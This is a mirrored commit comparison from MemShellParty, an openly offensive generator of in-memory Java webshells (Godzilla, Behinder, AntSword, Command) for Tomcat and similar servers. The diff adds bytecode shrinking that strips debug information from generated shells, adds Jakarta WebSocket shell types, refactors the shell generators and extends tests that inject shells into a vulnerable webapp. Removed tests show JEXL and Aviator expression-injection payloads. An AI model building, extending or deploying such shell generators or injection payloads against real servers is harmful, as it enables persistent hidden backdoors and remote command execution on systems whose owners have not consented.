mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 15:10:43 +08:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
8c9948c339 | ||
|
|
5cfda07fe8 | ||
|
|
0192aa58ea | ||
|
|
00b807f5f8 | ||
|
|
cd189a74f7 | ||
|
|
690cfb833f | ||
|
|
45f2bb148d | ||
|
|
e7a14bf2e3 |
@@ -5,6 +5,23 @@ All notable changes to this project will be documented in this file.
|
||||
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
|
||||
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
|
||||
|
||||
## [v1.4.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.4.0) - 2025-02-26
|
||||
|
||||
### Added
|
||||
|
||||
- 支持缩小字节码(移除调试信息) by @ReaJason
|
||||
- 支持 Tomcat Jakarta WebSocket
|
||||
|
||||
### Fixed
|
||||
|
||||
- 修复自定义注入器类名不起作用
|
||||
|
||||
### Changed
|
||||
|
||||
- 优化跨平台开发体验,将 bash 脚本改为 js 脚本
|
||||
|
||||
**Full Changelog:** [v1.3.2...v1.4.0](https://github.com/ReaJason/MemShellParty/compare/v1.3.2...v1.4.0)
|
||||
|
||||
## [v1.3.2](https://github.com/ReaJason/MemShellParty/releases/tag/v1.3.2) - 2025-02-25
|
||||
|
||||
### Fixed
|
||||
|
||||
@@ -0,0 +1,26 @@
|
||||
package com.reajason.javaweb;
|
||||
|
||||
import net.bytebuddy.jar.asm.ClassReader;
|
||||
import net.bytebuddy.jar.asm.ClassVisitor;
|
||||
import net.bytebuddy.jar.asm.ClassWriter;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/2/25
|
||||
*/
|
||||
public class ClassBytesShrink {
|
||||
|
||||
public static byte[] shrink(byte[] bytes, boolean full) {
|
||||
ClassReader cr = new ClassReader(bytes);
|
||||
ClassWriter cw = new ClassWriter(0);
|
||||
ClassVisitor cv = new ClassVisitor(Opcodes.ASM9, cw) {
|
||||
@Override
|
||||
public void visitSource(String source, String debug) {
|
||||
|
||||
}
|
||||
};
|
||||
cr.accept(cv, full ? ClassReader.SKIP_DEBUG : 0);
|
||||
return cw.toByteArray();
|
||||
}
|
||||
}
|
||||
@@ -62,7 +62,7 @@ public class MemShellGenerator {
|
||||
case Godzilla:
|
||||
return new GodzillaGenerator(shellConfig, (GodzillaConfig) shellToolConfig).getBytes();
|
||||
case Command:
|
||||
return CommandGenerator.generate(shellConfig, (CommandConfig) shellToolConfig);
|
||||
return new CommandGenerator(shellConfig, (CommandConfig) shellToolConfig).getBytes();
|
||||
case Behinder:
|
||||
return new BehinderGenerator(shellConfig, (BehinderConfig) shellToolConfig).getBytes();
|
||||
case Suo5:
|
||||
|
||||
@@ -147,6 +147,7 @@ public enum Server {
|
||||
.addShellClass(VALVE, CommandValve.class)
|
||||
.addShellClass(JAKARTA_VALVE, CommandValve.class)
|
||||
.addShellClass(WEBSOCKET, CommandWebSocket.class)
|
||||
.addShellClass(JAKARTA_WEBSOCKET, CommandWebSocket.class)
|
||||
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, CommandInterceptor.class)
|
||||
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class)
|
||||
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, CommandControllerHandler.class)
|
||||
|
||||
@@ -37,4 +37,5 @@ public class ShellType {
|
||||
public static final String SPRING_WEBFLUX_HANDLER_METHOD = "HandlerMethod";
|
||||
public static final String SPRING_WEBFLUX_HANDLER_FUNCTION = "HandlerFunction";
|
||||
public static final String WEBSOCKET = "WebSocket";
|
||||
public static final String JAKARTA_WEBSOCKET = "JakartaWebSocket";
|
||||
}
|
||||
|
||||
@@ -57,6 +57,12 @@ public class ShellConfig {
|
||||
@Builder.Default
|
||||
private boolean debug = false;
|
||||
|
||||
/**
|
||||
* 是否启用缩小字节码
|
||||
*/
|
||||
@Builder.Default
|
||||
private boolean shrink = false;
|
||||
|
||||
public boolean isDebugOff() {
|
||||
return !debug;
|
||||
}
|
||||
|
||||
+3
-2
@@ -1,5 +1,6 @@
|
||||
package com.reajason.javaweb.memshell.generator;
|
||||
|
||||
import com.reajason.javaweb.ClassBytesShrink;
|
||||
import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
|
||||
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||
@@ -19,7 +20,7 @@ import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||
* @author ReaJason
|
||||
* @since 2025/02/18
|
||||
*/
|
||||
public class AntSwordGenerator {
|
||||
public class AntSwordGenerator {
|
||||
private final ShellConfig shellConfig;
|
||||
private final AntSwordConfig antSwordConfig;
|
||||
|
||||
@@ -67,7 +68,7 @@ public class AntSwordGenerator {
|
||||
public byte[] getBytes() {
|
||||
DynamicType.Builder<?> builder = getBuilder();
|
||||
try (DynamicType.Unloaded<?> make = builder.make()) {
|
||||
return make.getBytes();
|
||||
return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+2
-1
@@ -1,5 +1,6 @@
|
||||
package com.reajason.javaweb.memshell.generator;
|
||||
|
||||
import com.reajason.javaweb.ClassBytesShrink;
|
||||
import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
|
||||
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||
@@ -70,7 +71,7 @@ public class BehinderGenerator {
|
||||
public byte[] getBytes() {
|
||||
DynamicType.Builder<?> builder = getBuilder();
|
||||
try (DynamicType.Unloaded<?> make = builder.make()) {
|
||||
return make.getBytes();
|
||||
return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+25
-12
@@ -1,5 +1,6 @@
|
||||
package com.reajason.javaweb.memshell.generator;
|
||||
|
||||
import com.reajason.javaweb.ClassBytesShrink;
|
||||
import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
|
||||
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||
@@ -20,40 +21,52 @@ import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||
* @since 2024/11/24
|
||||
*/
|
||||
public class CommandGenerator {
|
||||
private final ShellConfig shellConfig;
|
||||
private final CommandConfig commandConfig;
|
||||
|
||||
public static byte[] generate(ShellConfig config, CommandConfig shellConfig) {
|
||||
if (shellConfig.getShellClass() == null) {
|
||||
throw new IllegalArgumentException("shellConfig.getClazz() == null");
|
||||
public CommandGenerator(ShellConfig shellConfig, CommandConfig commandConfig) {
|
||||
this.shellConfig = shellConfig;
|
||||
this.commandConfig = commandConfig;
|
||||
}
|
||||
|
||||
public DynamicType.Builder<?> getBuilder() {
|
||||
if (commandConfig.getShellClass() == null) {
|
||||
throw new IllegalArgumentException("commandConfig.getClazz() == null");
|
||||
}
|
||||
|
||||
DynamicType.Builder<?> builder = new ByteBuddy()
|
||||
.redefine(shellConfig.getShellClass())
|
||||
.name(shellConfig.getShellClassName())
|
||||
.visit(new TargetJreVersionVisitorWrapper(config.getTargetJreVersion()));
|
||||
.redefine(commandConfig.getShellClass())
|
||||
.name(commandConfig.getShellClassName())
|
||||
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
|
||||
|
||||
if (config.isJakarta()) {
|
||||
if (shellConfig.isJakarta()) {
|
||||
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
||||
}
|
||||
|
||||
if (config.isDebugOff()) {
|
||||
if (shellConfig.isDebugOff()) {
|
||||
builder = LogRemoveMethodVisitor.extend(builder);
|
||||
}
|
||||
|
||||
String shellType = config.getShellType();
|
||||
String shellType = shellConfig.getShellType();
|
||||
if (!ShellType.WEBSOCKET.equals(shellType)) {
|
||||
if (StringUtils.startsWith(shellType, ShellType.AGENT)) {
|
||||
builder = builder.visit(
|
||||
new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(1) {{
|
||||
put("paramName", shellConfig.getParamName());
|
||||
put("paramName", commandConfig.getParamName());
|
||||
}})
|
||||
);
|
||||
} else {
|
||||
builder = builder.field(named("paramName")).value(shellConfig.getParamName());
|
||||
builder = builder.field(named("paramName")).value(commandConfig.getParamName());
|
||||
}
|
||||
}
|
||||
|
||||
return builder;
|
||||
}
|
||||
|
||||
public byte[] getBytes() {
|
||||
DynamicType.Builder<?> builder = getBuilder();
|
||||
try (DynamicType.Unloaded<?> make = builder.make()) {
|
||||
return make.getBytes();
|
||||
return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
|
||||
}
|
||||
}
|
||||
}
|
||||
+2
-1
@@ -1,5 +1,6 @@
|
||||
package com.reajason.javaweb.memshell.generator;
|
||||
|
||||
import com.reajason.javaweb.ClassBytesShrink;
|
||||
import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
|
||||
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||
@@ -75,7 +76,7 @@ public class GodzillaGenerator {
|
||||
public byte[] getBytes() {
|
||||
DynamicType.Builder<?> builder = getBuilder();
|
||||
try (DynamicType.Unloaded<?> make = builder.make()) {
|
||||
return make.getBytes();
|
||||
return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
|
||||
}
|
||||
}
|
||||
}
|
||||
+9
-8
@@ -1,5 +1,6 @@
|
||||
package com.reajason.javaweb.memshell.generator;
|
||||
|
||||
import com.reajason.javaweb.ClassBytesShrink;
|
||||
import com.reajason.javaweb.buddy.ByPassJavaModuleInterceptor;
|
||||
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||
@@ -22,11 +23,11 @@ import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||
* @since 2024/11/24
|
||||
*/
|
||||
public class InjectorGenerator {
|
||||
private final ShellConfig config;
|
||||
private final ShellConfig shellConfig;
|
||||
private final InjectorConfig injectorConfig;
|
||||
|
||||
public InjectorGenerator(ShellConfig config, InjectorConfig injectorConfig) {
|
||||
this.config = config;
|
||||
public InjectorGenerator(ShellConfig shellConfig, InjectorConfig injectorConfig) {
|
||||
this.shellConfig = shellConfig;
|
||||
this.injectorConfig = injectorConfig;
|
||||
}
|
||||
|
||||
@@ -36,20 +37,20 @@ public class InjectorGenerator {
|
||||
DynamicType.Builder<?> builder = new ByteBuddy()
|
||||
.redefine(injectorConfig.getInjectorClass())
|
||||
.name(injectorConfig.getInjectorClassName())
|
||||
.visit(new TargetJreVersionVisitorWrapper(config.getTargetJreVersion()))
|
||||
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
|
||||
.method(named("getUrlPattern")).intercept(FixedValue.value(Objects.toString(injectorConfig.getUrlPattern(), "/*")))
|
||||
.method(named("getBase64String")).intercept(FixedValue.value(base64String))
|
||||
.method(named("getClassName")).intercept(FixedValue.value(injectorConfig.getShellClassName()));
|
||||
|
||||
if (config.needByPassJavaModule()) {
|
||||
if (shellConfig.needByPassJavaModule()) {
|
||||
builder = ByPassJavaModuleInterceptor.extend(builder);
|
||||
}
|
||||
|
||||
if (config.isJakarta()) {
|
||||
if (shellConfig.isJakarta()) {
|
||||
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
||||
}
|
||||
|
||||
if (config.isDebugOff()) {
|
||||
if (shellConfig.isDebugOff()) {
|
||||
builder = LogRemoveMethodVisitor.extend(builder);
|
||||
}
|
||||
return builder;
|
||||
@@ -59,7 +60,7 @@ public class InjectorGenerator {
|
||||
public byte[] generate() {
|
||||
DynamicType.Builder<?> builder = getBuilder();
|
||||
try (DynamicType.Unloaded<?> make = builder.make()) {
|
||||
return make.getBytes();
|
||||
return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,5 +1,6 @@
|
||||
package com.reajason.javaweb.memshell.generator;
|
||||
|
||||
import com.reajason.javaweb.ClassBytesShrink;
|
||||
import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
|
||||
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||
@@ -59,7 +60,7 @@ public class Suo5Generator {
|
||||
public byte[] getBytes() {
|
||||
DynamicType.Builder<?> builder = getBuilder();
|
||||
try (DynamicType.Unloaded<?> make = builder.make()) {
|
||||
return make.getBytes();
|
||||
return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+1
-1
@@ -42,7 +42,7 @@ class CommandFilterTest {
|
||||
.paramName("cmd")
|
||||
.build();
|
||||
generateConfig.setShellType(shellType);
|
||||
byte[] bytes = CommandGenerator.generate(generateConfig, shellConfig);
|
||||
byte[] bytes = new CommandGenerator(generateConfig, shellConfig).getBytes();
|
||||
Object obj = ClassUtils.newInstance(bytes);
|
||||
assertEquals(shellConfig.getShellClassName(), obj.getClass().getName());
|
||||
assertEquals(shellConfig.getParamName(), ClassUtils.getFieldValue(obj, "paramName"));
|
||||
|
||||
@@ -8,4 +8,4 @@ services:
|
||||
environment:
|
||||
JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
|
||||
volumes:
|
||||
- ../../../vul/vul-webapp-jakarta/build/libs/vul-webapp-jakarta.war:/usr/local/glassfish5/glassfish/domains/domain1/autodeploy/app.war
|
||||
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/usr/local/glassfish5/glassfish/domains/domain1/autodeploy/app.war
|
||||
+3
-2
@@ -61,7 +61,7 @@ public class ShellAssertionTool {
|
||||
shellUrl = url + urlPattern;
|
||||
}
|
||||
|
||||
if (shellType.equals(ShellType.WEBSOCKET)) {
|
||||
if (shellType.endsWith(ShellType.WEBSOCKET)) {
|
||||
urlPattern = "/" + shellTool + shellType + packer.name();
|
||||
URL url1 = new URL(url);
|
||||
shellUrl = "ws://" + url1.getHost() + ":" + url1.getPort() + url1.getPath() + urlPattern;
|
||||
@@ -97,7 +97,7 @@ public class ShellAssertionTool {
|
||||
testGodzillaIsOk(shellUrl, ((GodzillaConfig) generateResult.getShellToolConfig()));
|
||||
break;
|
||||
case Command:
|
||||
if (shellType.equals(ShellType.WEBSOCKET)) {
|
||||
if (shellType.endsWith(ShellType.WEBSOCKET)) {
|
||||
testWebSocketCommandIsOk(shellUrl, ((CommandConfig) generateResult.getShellToolConfig()));
|
||||
} else {
|
||||
testCommandIsOk(shellUrl, ((CommandConfig) generateResult.getShellToolConfig()));
|
||||
@@ -222,6 +222,7 @@ public class ShellAssertionTool {
|
||||
.shellType(shellType)
|
||||
.targetJreVersion(targetJdkVersion)
|
||||
.debug(true)
|
||||
.shrink(true)
|
||||
.build();
|
||||
|
||||
ShellToolConfig shellToolConfig = null;
|
||||
|
||||
+1
-1
@@ -42,7 +42,7 @@ public class Tomcat10ContainerTest {
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.Tomcat;
|
||||
List<String> supportedShellTypes = List.of(ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE,
|
||||
List<String> supportedShellTypes = List.of(ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE, ShellType.JAKARTA_WEBSOCKET,
|
||||
ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE);
|
||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
|
||||
|
||||
+1
-1
@@ -43,7 +43,7 @@ public class Tomcat11ContainerTest {
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.Tomcat;
|
||||
List<String> supportedShellTypes = List.of(ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE,
|
||||
List<String> supportedShellTypes = List.of(ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE, ShellType.JAKARTA_WEBSOCKET,
|
||||
ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE);
|
||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX);
|
||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
|
||||
|
||||
+1
-1
@@ -43,7 +43,7 @@ public class Tomcat11JRE21ContainerTest {
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.Tomcat;
|
||||
List<String> supportedShellTypes = List.of(ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE,
|
||||
List<String> supportedShellTypes = List.of(ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE, ShellType.JAKARTA_WEBSOCKET,
|
||||
ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE);
|
||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX);
|
||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
|
||||
|
||||
+1
-1
@@ -42,7 +42,7 @@ public class Tomcat7ContainerTest {
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.Tomcat;
|
||||
List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
|
||||
List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, ShellType.WEBSOCKET,
|
||||
ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE);
|
||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||
|
||||
+1
-1
@@ -42,7 +42,7 @@ public class Tomcat9ContainerTest {
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.Tomcat;
|
||||
List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
|
||||
List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, ShellType.WEBSOCKET,
|
||||
ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE);
|
||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||
|
||||
@@ -1,17 +0,0 @@
|
||||
import com.googlecode.aviator.AviatorEvaluator;
|
||||
import com.googlecode.aviator.AviatorEvaluatorInstance;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/1/29
|
||||
*/
|
||||
class AviatorServletTest {
|
||||
|
||||
@Test
|
||||
void test() {
|
||||
String exp = "use org.springframework.cglib.core.*;use org.springframework.util.*;ReflectionUtils.invokeMethod(ClassUtils.getMethod(Class.forName('java.lang.Thread'), 'getContextClassLoader', nil), Thread.currentThread())";
|
||||
AviatorEvaluatorInstance evaluator = AviatorEvaluator.newInstance();
|
||||
System.out.println(evaluator.execute(exp));
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
@@ -1,18 +0,0 @@
|
||||
import org.apache.commons.jexl2.Expression;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/1/29
|
||||
*/
|
||||
class JEXL2ServletTest {
|
||||
|
||||
@Test
|
||||
void test() {
|
||||
System.out.println(System.getProperty("java.version"));
|
||||
org.apache.commons.jexl2.JexlEngine jexl = new org.apache.commons.jexl2.JexlEngine();
|
||||
Expression e = jexl.createExpression("''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js')");
|
||||
org.apache.commons.jexl2.MapContext jc = new org.apache.commons.jexl2.MapContext();
|
||||
System.out.println(e.evaluate(jc));
|
||||
}
|
||||
}
|
||||
@@ -1,18 +0,0 @@
|
||||
import org.apache.commons.jexl3.*;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/1/29
|
||||
*/
|
||||
class JEXL3ServletTest {
|
||||
|
||||
@Test
|
||||
void test() {
|
||||
System.out.println(System.getProperty("java.version"));
|
||||
JexlEngine jexl = new JexlBuilder().create();
|
||||
JexlExpression e = jexl.createExpression("''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js')");
|
||||
JexlContext jc = new MapContext();
|
||||
System.out.println(e.evaluate(jc));
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
Binary file not shown.
@@ -0,0 +1,63 @@
|
||||
import { existsSync, mkdirSync, readFileSync, readdirSync, rmSync, writeFileSync } from "node:fs";
|
||||
import { cp } from "node:fs/promises";
|
||||
import { join, resolve } from "node:path";
|
||||
|
||||
const BASE_DIR = resolve("../boot/src/main/resources");
|
||||
const STATIC_DIR = join(BASE_DIR, "static");
|
||||
const ASSETS_DIR = join(STATIC_DIR, "assets");
|
||||
const TEMPLATES_DIR = join(BASE_DIR, "templates");
|
||||
const SRC_DIR = resolve("dist");
|
||||
|
||||
async function main() {
|
||||
console.log("Copy assets into SpringBoot resources");
|
||||
|
||||
if (!existsSync(SRC_DIR)) {
|
||||
console.error(`Error: ${SRC_DIR} does not exist`);
|
||||
process.exit(1);
|
||||
}
|
||||
|
||||
mkdirSync(ASSETS_DIR, { recursive: true });
|
||||
mkdirSync(TEMPLATES_DIR, { recursive: true });
|
||||
|
||||
if (existsSync(ASSETS_DIR)) {
|
||||
const files = readdirSync(ASSETS_DIR);
|
||||
for (const file of files) {
|
||||
rmSync(join(ASSETS_DIR, file), { recursive: true, force: true });
|
||||
}
|
||||
}
|
||||
|
||||
try {
|
||||
if (existsSync(join(SRC_DIR, "vite.svg"))) {
|
||||
await cp(join(SRC_DIR, "vite.svg"), join(STATIC_DIR, "vite.svg"));
|
||||
}
|
||||
|
||||
const assetsSourceDir = join(SRC_DIR, "assets");
|
||||
if (existsSync(assetsSourceDir)) {
|
||||
await cp(assetsSourceDir, ASSETS_DIR, { recursive: true });
|
||||
}
|
||||
} catch (err) {
|
||||
console.error("Error copying assets:", err);
|
||||
process.exit(1);
|
||||
}
|
||||
|
||||
const INDEX_SRC = join(SRC_DIR, "index.html");
|
||||
const INDEX_DEST = join(TEMPLATES_DIR, "index.html");
|
||||
|
||||
if (!existsSync(INDEX_SRC)) {
|
||||
console.error(`Error: ${INDEX_SRC} does not exist. Make sure you built the frontend project first.`);
|
||||
process.exit(1);
|
||||
}
|
||||
|
||||
const htmlContent = readFileSync(INDEX_SRC, "utf8");
|
||||
const updatedHtml = htmlContent
|
||||
.replace(/href="([^"]*)"/g, 'th:href="@{$1}"')
|
||||
.replace(/src="([^"]*)"/g, 'th:src="@{$1}"');
|
||||
|
||||
writeFileSync(INDEX_DEST, updatedHtml);
|
||||
console.log("SpringBoot resources updated successfully");
|
||||
}
|
||||
|
||||
main().catch((err) => {
|
||||
console.error("Error:", err);
|
||||
process.exit(1);
|
||||
});
|
||||
@@ -1,56 +0,0 @@
|
||||
#!/bin/bash
|
||||
|
||||
echo "Copy asserts into SpringBoot resources"
|
||||
# 定义目标路径
|
||||
BASE_DIR="../boot/src/main/resources"
|
||||
STATIC_DIR="$BASE_DIR/static"
|
||||
ASSETS_DIR="$STATIC_DIR/assets"
|
||||
TEMPLATES_DIR="$BASE_DIR/templates"
|
||||
SRC_DIR="dist"
|
||||
|
||||
# 检查 dist 目录是否存在
|
||||
if [ ! -d "$SRC_DIR" ]; then
|
||||
echo "fail: $SRC_DIR not exists"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# 确定使用 sed 还是 gsed
|
||||
if [[ "$OSTYPE" == "darwin"* ]]; then
|
||||
SED_CMD="gsed"
|
||||
if ! command -v gsed &> /dev/null; then
|
||||
echo "fail: macOS need install gsed (by 'brew install gnu-sed')"
|
||||
exit 1
|
||||
fi
|
||||
else
|
||||
SED_CMD="sed"
|
||||
fi
|
||||
|
||||
# 创建目录(如果不存在)
|
||||
mkdir -p "$ASSETS_DIR" "$TEMPLATES_DIR"
|
||||
|
||||
# 检查并清理 assets 目录
|
||||
rm -rf "$ASSETS_DIR"/*
|
||||
|
||||
# 复制静态文件
|
||||
cp "$SRC_DIR/vite.svg" "$STATIC_DIR/"
|
||||
cp -R "$SRC_DIR/assets/"* "$ASSETS_DIR/"
|
||||
|
||||
# 处理 index.html
|
||||
INDEX_SRC="$SRC_DIR/index.html"
|
||||
INDEX_DEST="$TEMPLATES_DIR/index.html"
|
||||
|
||||
if [ ! -f "$INDEX_SRC" ]; then
|
||||
echo "fail: $INDEX_SRC not exists, make sure you had built frontend project with bun run build"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# 创建临时文件进行 thymeleaf 语法转换
|
||||
TEMP_FILE=$(mktemp)
|
||||
cp "$INDEX_SRC" "$TEMP_FILE"
|
||||
|
||||
"$SED_CMD" -i 's/href="\([^"]*\)"/th:href="@{\1}"/g' "$TEMP_FILE"
|
||||
"$SED_CMD" -i 's/src="\([^"]*\)"/th:src="@{\1}"/g' "$TEMP_FILE"
|
||||
|
||||
cp "$TEMP_FILE" "$INDEX_DEST"
|
||||
rm "$TEMP_FILE"
|
||||
echo "SpringBoot resources update successfully"
|
||||
+15
-11
@@ -4,25 +4,29 @@
|
||||
"private": true,
|
||||
"type": "module",
|
||||
"scripts": {
|
||||
"typecheck": "tsc --noEmit",
|
||||
"typecheck": "tsc -b --noEmit",
|
||||
"dev": "vite --port=3001",
|
||||
"build": "tsc -b && vite build --mode production && bash copy-build.sh",
|
||||
"serve": "vite preview",
|
||||
"check": "bunx @biomejs/biome check ./ --write",
|
||||
"start": "vite"
|
||||
"build": "tsc -b && vite build --mode production && bun run copy-build.js",
|
||||
"build:analyze": "vite build --mode production --outDir dist/analyze && npx vite-bundle-visualizer",
|
||||
"preview": "vite preview",
|
||||
"clean": "rimraf dist",
|
||||
"lint": "bunx @biomejs/biome check ./",
|
||||
"lint:fix": "bunx @biomejs/biome check ./ --write"
|
||||
},
|
||||
"devDependencies": {
|
||||
"@biomejs/biome": "1.9.4",
|
||||
"@tanstack/router-plugin": "^1.111.3",
|
||||
"@tanstack/router-plugin": "^1.111.7",
|
||||
"@types/node": "^22.13.5",
|
||||
"@types/react": "^19.0.10",
|
||||
"@types/react-dom": "^19.0.4",
|
||||
"@vitejs/plugin-react": "^4.3.4",
|
||||
"@types/react-copy-to-clipboard": "^5.0.7",
|
||||
"@types/react-dom": "^19.0.4",
|
||||
"@types/react-syntax-highlighter": "^15.5.13",
|
||||
"@vitejs/plugin-react": "^4.3.4",
|
||||
"rimraf": "^6.0.1",
|
||||
"tailwindcss": "^4.0.8",
|
||||
"typescript": "^5.7.3",
|
||||
"vite": "^6.1.1"
|
||||
"vite": "^6.2.0",
|
||||
"vite-bundle-visualizer": "^1.2.1"
|
||||
},
|
||||
"dependencies": {
|
||||
"@hookform/resolvers": "^4.1.2",
|
||||
@@ -39,8 +43,8 @@
|
||||
"@radix-ui/react-tooltip": "^1.1.8",
|
||||
"@tailwindcss/vite": "^4.0.8",
|
||||
"@tanstack/react-query": "^5.66.9",
|
||||
"@tanstack/react-router": "^1.111.3",
|
||||
"@tanstack/router-devtools": "^1.111.3",
|
||||
"@tanstack/react-router": "^1.111.7",
|
||||
"@tanstack/router-devtools": "^1.111.7",
|
||||
"class-variance-authority": "^0.7.1",
|
||||
"clsx": "^2.1.1",
|
||||
"i18next": "^24.2.2",
|
||||
|
||||
@@ -260,6 +260,18 @@ export function MainConfigCard({
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
<FormField
|
||||
control={form.control}
|
||||
name="shrink"
|
||||
render={({ field }) => (
|
||||
<FormItem className="flex items-center space-x-2 space-y-0">
|
||||
<FormControl>
|
||||
<Switch id="shrink" checked={field.value} onCheckedChange={field.onChange} />
|
||||
</FormControl>
|
||||
<Label htmlFor="shrink">{t("mainConfig.shrink")}</Label>
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
</div>
|
||||
</CardContent>
|
||||
</Card>
|
||||
|
||||
@@ -36,6 +36,7 @@
|
||||
"shellClassName": "Shell ClassName",
|
||||
"shellMountType": "Shell Mount Type",
|
||||
"shellTool": "Shell Tool",
|
||||
"shrink": "Shrink Bytecode",
|
||||
"urlPattern": "URL Pattern"
|
||||
},
|
||||
"optional": "(Optional)",
|
||||
|
||||
@@ -36,6 +36,7 @@
|
||||
"shellClassName": "内存马类名",
|
||||
"shellMountType": "内存马挂载类型",
|
||||
"shellTool": "内存马功能",
|
||||
"shrink": "缩小字节码",
|
||||
"urlPattern": "请求路径"
|
||||
},
|
||||
